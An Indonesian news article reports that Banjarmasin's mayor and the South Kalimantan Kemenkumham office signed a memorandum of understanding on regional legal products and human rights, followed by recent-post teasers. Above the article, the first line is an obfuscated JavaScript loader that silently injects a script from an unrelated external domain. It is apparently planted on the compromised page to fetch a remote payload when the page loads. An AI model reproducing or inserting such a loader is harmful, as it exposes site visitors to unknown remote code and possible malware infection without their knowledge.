(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Walikota Banjarmasin Teken MoU dengan Kemenkumham


BANJARMASIN, Pemko Banjarmasin dan Kantor Kemenkumham Prov Kalsel melaksanakan penandatangan nota kesepahaman (MoU) tentang Pembentukan Pelayanan Pengembangan Budaya Hukum serta Penghormatan Pemajuan dan Pemenuhan Hak Asasi Manusia.

Kegiatan yang berlangsung di Ruang Rapat Berintegrasi Balai Kota Banjarmasin itu, di hadiri langsung oleh Walikota Banjarmasin H Ibnu Sina, Wakil Walikota Banjarmasin Hermansyah dan Kepala Kantor Kemenkumham Prov Kalsel, Imam Suyudi.

H Ibnu Sina mengatakan, dengan adanya penanda tangan nota kesepahaman tersebut Pemko Banjarmasin merasa sangat terbantu dalam hal pembentukan produk hukum daerah demi kemaslahatan masyarakat.

“Atas nama Pemerintah Kota Banjarmasin kami mengucapkan terimakasih, mudah – mudahan dengan hal ini bisa menjadi mitra bagi pemerintah kota dalam merancang, melaksanakan produk-produk peraturan daerah khususnya yang terkait dengan kemaslahatan warga,” ucapnya, Kamis (19/4).

Tak hanya itu, H Ibnu Sina juga menyatakan, dengan adanya MoU tersebut membuktikan spirit kolaborasi yang selalu digaungkan oleh Pemko Banjarmasin benar-benar terlaksana dengan baik.

“Ini adalah sebuah sinyal bahwa kerja sama kita ini sangat penting untuk diteruskan dan kami sangat merasa terbantu, dengan kita saling bekerja sama sebagai mana yang selalu kami gaungkan yakni spirit kolaborasi, maka kami ingin bergandeng tangan dengan siapapun untuk membangun Kota Banjarmasin termasuk juga dari aspek Hukum dan HAM,” jelasnya.

Sementara itu, Imam Suyudi mengatakan, dengan adanya MoU ini maka Kemenkumham dan Pemko Banjarmasin dapat bersama-sama mewujudkan peraturan perundang-undangan yang berkualitas..

Kamenkumham, terangnya memiliki tugas dan fungsi di bidang hukum yang salah satunya adalah menfasilitasi pembentukan produk hukum daerah, dengan rincian melakukan penyiapan bahan pembinaan dan pengadilan, pelaksanaan tugas teknis, kerja sama, pemantauan, evaluasi, serta penyusunan laporan pelaksanaan tugas teknis serta yang lainya.

“Semua itu dalam rangka mendukung perwujudan peraturan daerah yang bekualitas dan menguatkan peran kantor wilayah kemenkumham dalam pembentukan produk hukum daerah,” pungkasnya.(ammar)

Reporter : Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

6 jam ago

Dr Gustava Yandi Dilantik Menjadi Pj Sekda Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More

7 jam ago

Deretan Film Terbaik, Spesial Menemani Akhir Tahunmu Bersama RCTI!

KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More

9 jam ago

Wujudkan Mimpi dalam Satu Malam, Saksikan Dangdut Mania Dadakan (DMD) Panggung Rezeki di MNCTV

KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More

9 jam ago

Rumah Tinggal Arang, 13 Karung Padi Nenek Asniah Ikut Ludes

KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More

9 jam ago

Api Dini Hari di Pelambuan, 75 Jiwa Kehilangan Tempat Tinggal

KANALKALIMANTAN.COM, BANJARMASIN - Peristiwa kebakaran terjadi di Jalan Ir PHM Noor, Gang Nuruddin RT 55,… Read More

10 jam ago

This website uses cookies.